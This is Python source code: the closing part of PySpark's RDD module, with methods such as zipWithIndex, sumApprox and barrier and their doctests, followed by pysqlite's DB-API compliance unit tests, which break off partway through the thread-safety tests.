partition (e.g. one was made through a map on the other). Examples -------- >>> x = sc.parallelize(range(0,5)) >>> y = sc.parallelize(range(1000, 1005)) >>> x.zip(y).collect() [(0, 1000), (1, 1001), (2, 1002), (3, 1003), (4, 1004)] """ def get_batch_size(ser): if isinstance(ser, BatchedSerializer): return ser.batchSize return 1 # not batched def batch_as(rdd, batchSize): return rdd._reserialize(BatchedSerializer(CPickleSerializer(), batchSize)) my_batch = get_batch_size(self._jrdd_deserializer) other_batch = get_batch_size(other._jrdd_deserializer) if my_batch != other_batch or not my_batch: # use the smallest batchSize for both of them batchSize = min(my_batch, other_batch) if batchSize <= 0: # auto batched or unlimited batchSize = 100 other = batch_as(other, batchSize) self = batch_as(self, batchSize) if self.getNumPartitions() != other.getNumPartitions(): raise ValueError("Can only zip with RDD which has the same number of partitions") # There will be an Exception in JVM if there are different number # of items in each partitions. pairRDD = self._jrdd.zip(other._jrdd) deserializer = PairDeserializer(self._jrdd_deserializer, other._jrdd_deserializer) return RDD(pairRDD, self.ctx, deserializer) def zipWithIndex(self): """ Zips this RDD with its element indices. The ordering is first based on the partition index and then the ordering of items within each partition. So the first item in the first partition gets index 0, and the last item in the last partition receives the largest index. This method needs to trigger a spark job when this RDD contains more than one partitions. Examples -------- >>> sc.parallelize(["a", "b", "c", "d"], 3).zipWithIndex().collect() [('a', 0), ('b', 1), ('c', 2), ('d', 3)] """ starts = [0] if self.getNumPartitions() > 1: nums = self.mapPartitions(lambda it: [sum(1 for i in it)]).collect() for i in range(len(nums) - 1): starts.append(starts[-1] + nums[i]) def func(k, it): for i, v in enumerate(it, starts[k]): yield v, i return self.mapPartitionsWithIndex(func) def zipWithUniqueId(self): """ Zips this RDD with generated unique Long ids. Items in the kth partition will get ids k, n+k, 2*n+k, ..., where n is the number of partitions. So there may exist gaps, but this method won't trigger a spark job, which is different from :meth:`zipWithIndex`. Examples -------- >>> sc.parallelize(["a", "b", "c", "d", "e"], 3).zipWithUniqueId().collect() [('a', 0), ('b', 1), ('c', 4), ('d', 2), ('e', 5)] """ n = self.getNumPartitions() def func(k, it): for i, v in enumerate(it): yield v, i * n + k return self.mapPartitionsWithIndex(func) def name(self): """ Return the name of this RDD. """ n = self._jrdd.name() if n: return n def setName(self, name): """ Assign a name to this RDD. Examples -------- >>> rdd1 = sc.parallelize([1, 2]) >>> rdd1.setName('RDD1').name() 'RDD1' """ self._jrdd.setName(name) return self def toDebugString(self): """ A description of this RDD and its recursive dependencies for debugging. """ debug_string = self._jrdd.toDebugString() if debug_string: return debug_string.encode("utf-8") def getStorageLevel(self): """ Get the RDD's current storage level. Examples -------- >>> rdd1 = sc.parallelize([1,2]) >>> rdd1.getStorageLevel() StorageLevel(False, False, False, False, 1) >>> print(rdd1.getStorageLevel()) Serialized 1x Replicated """ java_storage_level = self._jrdd.getStorageLevel() storage_level = StorageLevel( java_storage_level.useDisk(), java_storage_level.useMemory(), java_storage_level.useOffHeap(), java_storage_level.deserialized(), java_storage_level.replication(), ) return storage_level def _defaultReducePartitions(self): """ Returns the default number of partitions to use during reduce tasks (e.g., groupBy). If spark.default.parallelism is set, then we'll use the value from SparkContext defaultParallelism, otherwise we'll use the number of partitions in this RDD. This mirrors the behavior of the Scala Partitioner#defaultPartitioner, intended to reduce the likelihood of OOMs. Once PySpark adopts Partitioner-based APIs, this behavior will be inherent. """ if self.ctx._conf.contains("spark.default.parallelism"): return self.ctx.defaultParallelism else: return self.getNumPartitions() def lookup(self, key): """ Return the list of values in the RDD for key `key`. This operation is done efficiently if the RDD has a known partitioner by only searching the partition that the key maps to. Examples -------- >>> l = range(1000) >>> rdd = sc.parallelize(zip(l, l), 10) >>> rdd.lookup(42) # slow [42] >>> sorted = rdd.sortByKey() >>> sorted.lookup(42) # fast [42] >>> sorted.lookup(1024) [] >>> rdd2 = sc.parallelize([(('a', 'b'), 'c')]).groupByKey() >>> list(rdd2.lookup(('a', 'b'))[0]) ['c'] """ values = self.filter(lambda kv: kv[0] == key).values() if self.partitioner is not None: return self.ctx.runJob(values, lambda x: x, [self.partitioner(key)]) return values.collect() def _to_java_object_rdd(self): """Return a JavaRDD of Object by unpickling It will convert each Python object into Java object by Pickle, whenever the RDD is serialized in batch or not. """ rdd = self._pickled() return self.ctx._jvm.SerDeUtil.pythonToJava(rdd._jrdd, True) def countApprox(self, timeout, confidence=0.95): """ Approximate version of count() that returns a potentially incomplete result within a timeout, even if not all tasks have finished. Examples -------- >>> rdd = sc.parallelize(range(1000), 10) >>> rdd.countApprox(1000, 1.0) 1000 """ drdd = self.mapPartitions(lambda it: [float(sum(1 for i in it))]) return int(drdd.sumApprox(timeout, confidence)) def sumApprox(self, timeout, confidence=0.95): """ Approximate operation to return the sum within a timeout or meet the confidence. Examples -------- >>> rdd = sc.parallelize(range(1000), 10) >>> r = sum(range(1000)) >>> abs(rdd.sumApprox(1000) - r) / r < 0.05 True """ jrdd = self.mapPartitions(lambda it: [float(sum(it))])._to_java_object_rdd() jdrdd = self.ctx._jvm.JavaDoubleRDD.fromRDD(jrdd.rdd()) r = jdrdd.sumApprox(timeout, confidence).getFinalValue() return BoundedFloat(r.mean(), r.confidence(), r.low(), r.high()) def meanApprox(self, timeout, confidence=0.95): """ Approximate operation to return the mean within a timeout or meet the confidence. Examples -------- >>> rdd = sc.parallelize(range(1000), 10) >>> r = sum(range(1000)) / 1000.0 >>> abs(rdd.meanApprox(1000) - r) / r < 0.05 True """ jrdd = self.map(float)._to_java_object_rdd() jdrdd = self.ctx._jvm.JavaDoubleRDD.fromRDD(jrdd.rdd()) r = jdrdd.meanApprox(timeout, confidence).getFinalValue() return BoundedFloat(r.mean(), r.confidence(), r.low(), r.high()) def countApproxDistinct(self, relativeSD=0.05): """ Return approximate number of distinct elements in the RDD. Parameters ---------- relativeSD : float, optional Relative accuracy. Smaller values create counters that require more space. It must be greater than 0.000017. Notes ----- The algorithm used is based on streamlib's implementation of `"HyperLogLog in Practice: Algorithmic Engineering of a State of The Art Cardinality Estimation Algorithm", available here <https://doi.org/10.1145/2452376.2452456>`_. Examples -------- >>> n = sc.parallelize(range(1000)).map(str).countApproxDistinct() >>> 900 < n < 1100 True >>> n = sc.parallelize([i % 20 for i in range(1000)]).countApproxDistinct() >>> 16 < n < 24 True """ if relativeSD < 0.000017: raise ValueError("relativeSD should be greater than 0.000017") # the hash space in Java is 2^32 hashRDD = self.map(lambda x: portable_hash(x) & 0xFFFFFFFF) return hashRDD._to_java_object_rdd().countApproxDistinct(relativeSD) def toLocalIterator(self, prefetchPartitions=False): """ Return an iterator that contains all of the elements in this RDD. The iterator will consume as much memory as the largest partition in this RDD. With prefetch it may consume up to the memory of the 2 largest partitions. Parameters ---------- prefetchPartitions : bool, optional If Spark should pre-fetch the next partition before it is needed. Examples -------- >>> rdd = sc.parallelize(range(10)) >>> [x for x in rdd.toLocalIterator()] [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] """ with SCCallSiteSync(self.context) as css: sock_info = self.ctx._jvm.PythonRDD.toLocalIteratorAndServe( self._jrdd.rdd(), prefetchPartitions ) return _local_iterator_from_socket(sock_info, self._jrdd_deserializer) def barrier(self): """ Marks the current stage as a barrier stage, where Spark must launch all tasks together. In case of a task failure, instead of only restarting the failed task, Spark will abort the entire stage and relaunch all tasks for this stage. The barrier execution mode feature is experimental and it only handles limited scenarios. Please read the linked SPIP and design docs to understand the limitations and future plans. .. versionadded:: 2.4.0 Returns ------- :class:`RDDBarrier` instance that provides actions within a barrier stage. See Also -------- pyspark.BarrierTaskContext Notes ----- For additional information see - `SPIP: Barrier Execution Mode <http://jira.apache.org/jira/browse/SPARK-24374>`_ - `Design Doc <https://jira.apache.org/jira/browse/SPARK-24582>`_ This API is experimental """ return RDDBarrier(self) def _is_barrier(self): """ Whether this RDD is in a barrier stage. """ return self._jrdd.rdd().isBarrier() def withResources(self, profile): """ Specify a :class:`pyspark.resource.ResourceProfile` to use when calculating this RDD. This is only supported on certain cluster managers and currently requires dynamic allocation to be enabled. It will result in new executors with the resources specified being acquired to calculate the RDD. .. versionadded:: 3.1.0 Notes ----- This API is experimental """ self.has_resource_profile = True if profile._java_resource_profile is not None: jrp = profile._java_resource_profile else: builder = self.ctx._jvm.org.apache.spark.resource.ResourceProfileBuilder() ereqs = ExecutorResourceRequests(self.ctx._jvm, profile._executor_resource_requests) treqs = TaskResourceRequests(self.ctx._jvm, profile._task_resource_requests) builder.require(ereqs._java_executor_resource_requests) builder.require(treqs._java_task_resource_requests) jrp = builder.build() self._jrdd.withResources(jrp) return self def getResourceProfile(self): """ Get the :class:`pyspark.resource.ResourceProfile` specified with this RDD or None if it wasn't specified. .. versionadded:: 3.1.0 Returns ------- :py:class:`pyspark.resource.ResourceProfile` The user specified profile or None if none were specified Notes ----- This API is experimental """ rp = self._jrdd.getResourceProfile() if rp is not None: return ResourceProfile(_java_resource_profile=rp) else: return None def _prepare_for_python_RDD(sc, command): # the serialized command will be compressed by broadcast ser = CloudPickleSerializer() pickled_command = ser.dumps(command) if len(pickled_command) > sc._jvm.PythonUtils.getBroadcastThreshold(sc._jsc): # Default 1M # The broadcast will have same life cycle as created PythonRDD broadcast = sc.broadcast(pickled_command) pickled_command = ser.dumps(broadcast) broadcast_vars = [x._jbroadcast for x in sc._pickled_broadcast_vars] sc._pickled_broadcast_vars.clear() return pickled_command, broadcast_vars, sc.environment, sc._python_includes def _wrap_function(sc, func, deserializer, serializer, profiler=None): assert deserializer, "deserializer should not be empty" assert serializer, "serializer should not be empty" command = (func, profiler, deserializer, serializer) pickled_command, broadcast_vars, env, includes = _prepare_for_python_RDD(sc, command) return sc._jvm.PythonFunction( bytearray(pickled_command), env, includes, sc.pythonExec, sc.pythonVer, broadcast_vars, sc._javaAccumulator, ) class RDDBarrier: """ Wraps an RDD in a barrier stage, which forces Spark to launch tasks of this stage together. :class:`RDDBarrier` instances are created by :func:`RDD.barrier`. .. versionadded:: 2.4.0 Notes ----- This API is experimental """ def __init__(self, rdd): self.rdd = rdd def mapPartitions(self, f, preservesPartitioning=False): """ Returns a new RDD by applying a function to each partition of the wrapped RDD, where tasks are launched together in a barrier stage. The interface is the same as :func:`RDD.mapPartitions`. Please see the API doc there. .. versionadded:: 2.4.0 Notes ----- This API is experimental """ def func(s, iterator): return f(iterator) return PipelinedRDD(self.rdd, func, preservesPartitioning, isFromBarrier=True) def mapPartitionsWithIndex(self, f, preservesPartitioning=False): """ Returns a new RDD by applying a function to each partition of the wrapped RDD, while tracking the index of the original partition. And all tasks are launched together in a barrier stage. The interface is the same as :func:`RDD.mapPartitionsWithIndex`. Please see the API doc there. .. versionadded:: 3.0.0 Notes ----- This API is experimental """ return PipelinedRDD(self.rdd, f, preservesPartitioning, isFromBarrier=True) class PipelinedRDD(RDD): """ Examples -------- Pipelined maps: >>> rdd = sc.parallelize([1, 2, 3, 4]) >>> rdd.map(lambda x: 2 * x).cache().map(lambda x: 2 * x).collect() [4, 8, 12, 16] >>> rdd.map(lambda x: 2 * x).map(lambda x: 2 * x).collect() [4, 8, 12, 16] Pipelined reduces: >>> from operator import add >>> rdd.map(lambda x: 2 * x).reduce(add) 20 >>> rdd.flatMap(lambda x: [x, x]).reduce(add) 20 """ def __init__(self, prev, func, preservesPartitioning=False, isFromBarrier=False): if not isinstance(prev, PipelinedRDD) or not prev._is_pipelinable(): # This transformation is the first in its stage: self.func = func self.preservesPartitioning = preservesPartitioning self._prev_jrdd = prev._jrdd self._prev_jrdd_deserializer = prev._jrdd_deserializer else: prev_func = prev.func def pipeline_func(split, iterator): return func(split, prev_func(split, iterator)) self.func = pipeline_func self.preservesPartitioning = prev.preservesPartitioning and preservesPartitioning self._prev_jrdd = prev._prev_jrdd # maintain the pipeline self._prev_jrdd_deserializer = prev._prev_jrdd_deserializer self.is_cached = False self.has_resource_profile = False self.is_checkpointed = False self.ctx = prev.ctx self.prev = prev self._jrdd_val = None self._id = None self._jrdd_deserializer = self.ctx.serializer self._bypass_serializer = False self.partitioner = prev.partitioner if self.preservesPartitioning else None self.is_barrier = isFromBarrier or prev._is_barrier() def getNumPartitions(self): return self._prev_jrdd.partitions().size() @property def _jrdd(self): if self._jrdd_val: return self._jrdd_val if self._bypass_serializer: self._jrdd_deserializer = NoOpSerializer() if self.ctx.profiler_collector: profiler = self.ctx.profiler_collector.new_profiler(self.ctx) else: profiler = None wrapped_func = _wrap_function( self.ctx, self.func, self._prev_jrdd_deserializer, self._jrdd_deserializer, profiler ) python_rdd = self.ctx._jvm.PythonRDD( self._prev_jrdd.rdd(), wrapped_func, self.preservesPartitioning, self.is_barrier ) self._jrdd_val = python_rdd.asJavaRDD() if profiler: self._id = self._jrdd_val.id() self.ctx.profiler_collector.add_profiler(self._id, profiler) return self._jrdd_val def id(self): if self._id is None: self._id = self._jrdd.id() return self._id def _is_pipelinable(self): return not (self.is_cached or self.is_checkpointed or self.has_resource_profile) def _is_barrier(self): return self.is_barrier def _test(): import doctest from pyspark.context import SparkContext globs = globals().copy() # The small batch size here ensures that we see multiple batches, # even in these small test examples: globs["sc"] = SparkContext("local[4]", "PythonTest") (failure_count, test_count) = doctest.testmod(globs=globs, optionflags=doctest.ELLIPSIS) globs["sc"].stop() if failure_count: sys.exit(-1) if __name__ == "__main__": _test()
dbapi.py
# pysqlite2/test/dbapi.py: tests for DB-API compliance # # Copyright (C) 2004-2010 Gerhard Hรคring <gh@ghaering.de> # # This file is part of pysqlite. # # This software is provided 'as-is', without any express or implied # warranty. In no event will the authors be held liable for any damages # arising from the use of this software. # # Permission is granted to anyone to use this software for any purpose, # including commercial applications, and to alter it and redistribute it # freely, subject to the following restrictions: # # 1. The origin of this software must not be misrepresented; you must not # claim that you wrote the original software. If you use this software # in a product, an acknowledgment in the product documentation would be # appreciated but is not required. # 2. Altered source versions must be plainly marked as such, and must not be # misrepresented as being the original software. # 3. This notice may not be removed or altered from any source distribution. import contextlib import sqlite3 as sqlite import sys import threading import unittest from test.support.os_helper import TESTFN, unlink # Helper for tests using TESTFN @contextlib.contextmanager def managed_connect(*args, **kwargs): cx = sqlite.connect(*args, **kwargs) try: yield cx finally: cx.close() unlink(TESTFN) class ModuleTests(unittest.TestCase): def test_api_level(self): self.assertEqual(sqlite.apilevel, "2.0", "apilevel is %s, should be 2.0" % sqlite.apilevel) def test_thread_safety(self): self.assertEqual(sqlite.threadsafety, 1, "threadsafety is %d, should be 1" % sqlite.threadsafety) def test_param_style(self): self.assertEqual(sqlite.paramstyle, "qmark", "paramstyle is '%s', should be 'qmark'" % sqlite.paramstyle) def test_warning(self): self.assertTrue(issubclass(sqlite.Warning, Exception), "Warning is not a subclass of Exception") def test_error(self): self.assertTrue(issubclass(sqlite.Error, Exception), "Error is not a subclass of Exception") def test_interface_error(self): self.assertTrue(issubclass(sqlite.InterfaceError, sqlite.Error), "InterfaceError is not a subclass of Error") def test_database_error(self): self.assertTrue(issubclass(sqlite.DatabaseError, sqlite.Error), "DatabaseError is not a subclass of Error") def test_data_error(self): self.assertTrue(issubclass(sqlite.DataError, sqlite.DatabaseError), "DataError is not a subclass of DatabaseError") def test_operational_error(self): self.assertTrue(issubclass(sqlite.OperationalError, sqlite.DatabaseError), "OperationalError is not a subclass of DatabaseError") def test_integrity_error(self): self.assertTrue(issubclass(sqlite.IntegrityError, sqlite.DatabaseError), "IntegrityError is not a subclass of DatabaseError") def test_internal_error(self): self.assertTrue(issubclass(sqlite.InternalError, sqlite.DatabaseError), "InternalError is not a subclass of DatabaseError") def test_programming_error(self): self.assertTrue(issubclass(sqlite.ProgrammingError, sqlite.DatabaseError), "ProgrammingError is not a subclass of DatabaseError") def test_not_supported_error(self): self.assertTrue(issubclass(sqlite.NotSupportedError, sqlite.DatabaseError), "NotSupportedError is not a subclass of DatabaseError") # sqlite3_enable_shared_cache() is deprecated on macOS and calling it may raise # OperationalError on some buildbots. @unittest.skipIf(sys.platform == "darwin", "shared cache is deprecated on macOS") def test_shared_cache_deprecated(self): for enable in (True, False): with self.assertWarns(DeprecationWarning) as cm: sqlite.enable_shared_cache(enable) self.assertIn("dbapi.py", cm.filename) class ConnectionTests(unittest.TestCase): def setUp(self): self.cx = sqlite.connect(":memory:") cu = self.cx.cursor() cu.execute("create table test(id integer primary key, name text)") cu.execute("insert into test(name) values (?)", ("foo",)) def tearDown(self): self.cx.close() def test_commit(self): self.cx.commit() def test_commit_after_no_changes(self): """ A commit should also work when no changes were made to the database. """ self.cx.commit() self.cx.commit() def test_rollback(self): self.cx.rollback() def test_rollback_after_no_changes(self): """ A rollback should also work when no changes were made to the database. """ self.cx.rollback() self.cx.rollback() def test_cursor(self): cu = self.cx.cursor() def test_failed_open(self): YOU_CANNOT_OPEN_THIS = "/foo/bar/bla/23534/mydb.db" with self.assertRaises(sqlite.OperationalError): con = sqlite.connect(YOU_CANNOT_OPEN_THIS) def test_close(self): self.cx.close() def test_use_after_close(self): sql = "select 1" cu = self.cx.cursor() res = cu.execute(sql) self.cx.close() self.assertRaises(sqlite.ProgrammingError, res.fetchall) self.assertRaises(sqlite.ProgrammingError, cu.execute, sql) self.assertRaises(sqlite.ProgrammingError, cu.executemany, sql, []) self.assertRaises(sqlite.ProgrammingError, cu.executescript, sql) self.assertRaises(sqlite.ProgrammingError, self.cx.execute, sql) self.assertRaises(sqlite.ProgrammingError, self.cx.executemany, sql, []) self.assertRaises(sqlite.ProgrammingError, self.cx.executescript, sql) self.assertRaises(sqlite.ProgrammingError, self.cx.create_function, "t", 1, lambda x: x) self.assertRaises(sqlite.ProgrammingError, self.cx.cursor) with self.assertRaises(sqlite.ProgrammingError): with self.cx: pass def test_exceptions(self): # Optional DB-API extension. self.assertEqual(self.cx.Warning, sqlite.Warning) self.assertEqual(self.cx.Error, sqlite.Error) self.assertEqual(self.cx.InterfaceError, sqlite.InterfaceError) self.assertEqual(self.cx.DatabaseError, sqlite.DatabaseError) self.assertEqual(self.cx.DataError, sqlite.DataError) self.assertEqual(self.cx.OperationalError, sqlite.OperationalError) self.assertEqual(self.cx.IntegrityError, sqlite.IntegrityError) self.assertEqual(self.cx.InternalError, sqlite.InternalError) self.assertEqual(self.cx.ProgrammingError, sqlite.ProgrammingError) self.assertEqual(self.cx.NotSupportedError, sqlite.NotSupportedError) def test_in_transaction(self): # Can't use db from setUp because we want to test initial state. cx = sqlite.connect(":memory:") cu = cx.cursor() self.assertEqual(cx.in_transaction, False) cu.execute("create table transactiontest(id integer primary key, name text)") self.assertEqual(cx.in_transaction, False) cu.execute("insert into transactiontest(name) values (?)", ("foo",)) self.assertEqual(cx.in_transaction, True) cu.execute("select name from transactiontest where name=?", ["foo"]) row = cu.fetchone() self.assertEqual(cx.in_transaction, True) cx.commit() self.assertEqual(cx.in_transaction, False) cu.execute("select name from transactiontest where name=?", ["foo"]) row = cu.fetchone() self.assertEqual(cx.in_transaction, False) def test_in_transaction_ro(self): with self.assertRaises(AttributeError): self.cx.in_transaction = True class OpenTests(unittest.TestCase): _sql = "create table test(id integer)" def test_open_with_path_like_object(self): """ Checks that we can successfully connect to a database using an object that is PathLike, i.e. has __fspath__(). """ class Path: def __fspath__(self): return TESTFN path = Path() with managed_connect(path) as cx: cx.execute(self._sql) def test_open_uri(self): with managed_connect(TESTFN) as cx: cx.execute(self._sql) with managed_connect(f"file:{TESTFN}", uri=True) as cx: cx.execute(self._sql) with self.assertRaises(sqlite.OperationalError): with managed_connect(f"file:{TESTFN}?mode=ro", uri=True) as cx: cx.execute(self._sql) class CursorTests(unittest.TestCase): def setUp(self): self.cx = sqlite.connect(":memory:") self.cu = self.cx.cursor() self.cu.execute( "create table test(id integer primary key, name text, " "income number, unique_test text unique)" ) self.cu.execute("insert into test(name) values (?)", ("foo",)) def tearDown(self): self.cu.close() self.cx.close() def test_execute_no_args(self): self.cu.execute("delete from test") def test_execute_illegal_sql(self): with self.assertRaises(sqlite.OperationalError): self.cu.execute("select asdf") def test_execute_too_much_sql(self): with self.assertRaises(sqlite.Warning): self.cu.execute("select 5+4; select 4+5") def test_execute_too_much_sql2(self): self.cu.execute("select 5+4; -- foo bar") def test_execute_too_much_sql3(self): self.cu.execute(""" select 5+4; /* foo */ """) def test_execute_wrong_sql_arg(self): with self.assertRaises(TypeError): self.cu.execute(42) def test_execute_arg_int(self): self.cu.execute("insert into test(id) values (?)", (42,)) def test_execute_arg_float(self): self.cu.execute("insert into test(income) values (?)", (2500.32,)) def test_execute_arg_string(self): self.cu.execute("insert into test(name) values (?)", ("Hugo",)) def test_execute_arg_string_with_zero_byte(self): self.cu.execute("insert into test(name) values (?)", ("Hu\x00go",)) self.cu.execute("select name from test where id=?", (self.cu.lastrowid,)) row = self.cu.fetchone() self.assertEqual(row[0], "Hu\x00go") def test_execute_non_iterable(self): with self.assertRaises(ValueError) as cm: self.cu.execute("insert into test(id) values (?)", 42) self.assertEqual(str(cm.exception), 'parameters are of unsupported type') def test_execute_wrong_no_of_args1(self): # too many parameters with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("insert into test(id) values (?)", (17, "Egon")) def test_execute_wrong_no_of_args2(self): # too little parameters with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("insert into test(id) values (?)") def test_execute_wrong_no_of_args3(self): # no parameters, parameters are needed with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("insert into test(id) values (?)") def test_execute_param_list(self): self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=?", ["foo"]) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def test_execute_param_sequence(self): class L: def __len__(self): return 1 def __getitem__(self, x): assert x == 0 return "foo" self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=?", L()) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def test_execute_param_sequence_bad_len(self): # Issue41662: Error in __len__() was overridden with ProgrammingError. class L: def __len__(self): 1/0 def __getitem__(slf, x): raise AssertionError self.cu.execute("insert into test(name) values ('foo')") with self.assertRaises(ZeroDivisionError): self.cu.execute("select name from test where name=?", L()) def test_execute_dict_mapping(self): self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=:name", {"name": "foo"}) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def test_execute_dict_mapping_mapping(self): class D(dict): def __missing__(self, key): return "foo" self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=:name", D()) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def test_execute_dict_mapping_too_little_args(self): self.cu.execute("insert into test(name) values ('foo')") with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("select name from test where name=:name and id=:id", {"name": "foo"}) def test_execute_dict_mapping_no_args(self): self.cu.execute("insert into test(name) values ('foo')") with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("select name from test where name=:name") def test_execute_dict_mapping_unnamed(self): self.cu.execute("insert into test(name) values ('foo')") with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("select name from test where name=?", {"name": "foo"}) def test_close(self): self.cu.close() def test_rowcount_execute(self): self.cu.execute("delete from test") self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("update test set name='bar'") self.assertEqual(self.cu.rowcount, 2) def test_rowcount_select(self): """ pysqlite does not know the rowcount of SELECT statements, because we don't fetch all rows after executing the select statement. The rowcount has thus to be -1. """ self.cu.execute("select 5 union select 6") self.assertEqual(self.cu.rowcount, -1) def test_rowcount_executemany(self): self.cu.execute("delete from test") self.cu.executemany("insert into test(name) values (?)", [(1,), (2,), (3,)]) self.assertEqual(self.cu.rowcount, 3) def test_total_changes(self): self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("insert into test(name) values ('foo')") self.assertLess(2, self.cx.total_changes, msg='total changes reported wrong value') # Checks for executemany: # Sequences are required by the DB-API, iterators # enhancements in pysqlite. def test_execute_many_sequence(self): self.cu.executemany("insert into test(income) values (?)", [(x,) for x in range(100, 110)]) def test_execute_many_iterator(self): class MyIter: def __init__(self): self.value = 5 def __next__(self): if self.value == 10: raise StopIteration else: self.value += 1 return (self.value,) self.cu.executemany("insert into test(income) values (?)", MyIter()) def test_execute_many_generator(self): def mygen(): for i in range(5): yield (i,) self.cu.executemany("insert into test(income) values (?)", mygen()) def test_execute_many_wrong_sql_arg(self): with self.assertRaises(TypeError): self.cu.executemany(42, [(3,)]) def test_execute_many_select(self): with self.assertRaises(sqlite.ProgrammingError): self.cu.executemany("select ?", [(3,)]) def test_execute_many_not_iterable(self): with self.assertRaises(TypeError): self.cu.executemany("insert into test(income) values (?)", 42) def test_fetch_iter(self): # Optional DB-API extension. self.cu.execute("delete from test") self.cu.execute("insert into test(id) values (?)", (5,)) self.cu.execute("insert into test(id) values (?)", (6,)) self.cu.execute("select id from test order by id") lst = [] for row in self.cu: lst.append(row[0]) self.assertEqual(lst[0], 5) self.assertEqual(lst[1], 6) def test_fetchone(self): self.cu.execute("select name from test") row = self.cu.fetchone() self.assertEqual(row[0], "foo") row = self.cu.fetchone() self.assertEqual(row, None) def test_fetchone_no_statement(self): cur = self.cx.cursor() row = cur.fetchone() self.assertEqual(row, None) def test_array_size(self): # must default ot 1 self.assertEqual(self.cu.arraysize, 1) # now set to 2 self.cu.arraysize = 2 # now make the query return 3 rows self.cu.execute("delete from test") self.cu.execute("insert into test(name) values ('A')") self.cu.execute("insert into test(name) values ('B')") self.cu.execute("insert into test(name) values ('C')") self.cu.execute("select name from test") res = self.cu.fetchmany() self.assertEqual(len(res), 2) def test_fetchmany(self): self.cu.execute("select name from test") res = self.cu.fetchmany(100) self.assertEqual(len(res), 1) res = self.cu.fetchmany(100) self.assertEqual(res, []) def test_fetchmany_kw_arg(self): """Checks if fetchmany works with keyword arguments""" self.cu.execute("select name from test") res = self.cu.fetchmany(size=100) self.assertEqual(len(res), 1) def test_fetchall(self): self.cu.execute("select name from test") res = self.cu.fetchall() self.assertEqual(len(res), 1) res = self.cu.fetchall() self.assertEqual(res, []) def test_setinputsizes(self): self.cu.setinputsizes([3, 4, 5]) def test_setoutputsize(self): self.cu.setoutputsize(5, 0) def test_setoutputsize_no_column(self): self.cu.setoutputsize(42) def test_cursor_connection(self): # Optional DB-API extension. self.assertEqual(self.cu.connection, self.cx) def test_wrong_cursor_callable(self): with self.assertRaises(TypeError): def f(): pass cur = self.cx.cursor(f) def test_cursor_wrong_class(self): class Foo: pass foo = Foo() with self.assertRaises(TypeError): cur = sqlite.Cursor(foo) def test_last_row_id_on_replace(self): """ INSERT OR REPLACE and REPLACE INTO should produce the same behavior. """ sql = '{} INTO test(id, unique_test) VALUES (?, ?)' for statement in ('INSERT OR REPLACE', 'REPLACE'): with self.subTest(statement=statement): self.cu.execute(sql.format(statement), (1, 'foo')) self.assertEqual(self.cu.lastrowid, 1) def test_last_row_id_on_ignore(self): self.cu.execute( "insert or ignore into test(unique_test) values (?)", ('test',)) self.assertEqual(self.cu.lastrowid, 2) self.cu.execute( "insert or ignore into test(unique_test) values (?)", ('test',)) self.assertEqual(self.cu.lastrowid, 2) def test_last_row_id_insert_o_r(self): results = [] for statement in ('FAIL', 'ABORT', 'ROLLBACK'): sql = 'INSERT OR {} INTO test(unique_test) VALUES (?)' with self.subTest(statement='INSERT OR {}'.format(statement)): self.cu.execute(sql.format(statement), (statement,)) results.append((statement, self.cu.lastrowid)) with self.assertRaises(sqlite.IntegrityError): self.cu.execute(sql.format(statement), (statement,)) results.append((statement, self.cu.lastrowid)) expected = [ ('FAIL', 2), ('FAIL', 2), ('ABORT', 3), ('ABORT', 3), ('ROLLBACK', 4), ('ROLLBACK', 4), ] self.assertEqual(results, expected) def test_column_count(self): # Check that column count is updated correctly for cached statements select = "select * from test" res = self.cu.execute(select) old_count = len(res.description) # Add a new column and execute the cached select query again self.cu.execute("alter table test add newcol") res = self.cu.execute(select) new_count = len(res.description) self.assertEqual(new_count - old_count, 1) class ThreadTests(unittest.TestCase): def setUp(self): self.con = sqlite.connect(":memory:") self.cur = self.con.cursor() self.cur.execute("create table test(id integer primary key, name text, bin binary, ratio number, ts timestamp)") def tearDown(self): self.cur.close() self.con.close() def test_con_cursor(self): def run(con, errors): try: cur = con.cursor() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_con_commit(self): def run(con, errors): try: con.commit() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_con_rollback(self): def run(con, errors): try: con.rollback() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_con_close(self): def run(con, errors): try: con.close() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_cur_implicit_begin(self): def run(cur, errors): try: cur.execute("insert into test(name) values ('a')") errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_cur_close(self): def run(cur, errors): try: cur.close() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"cur": 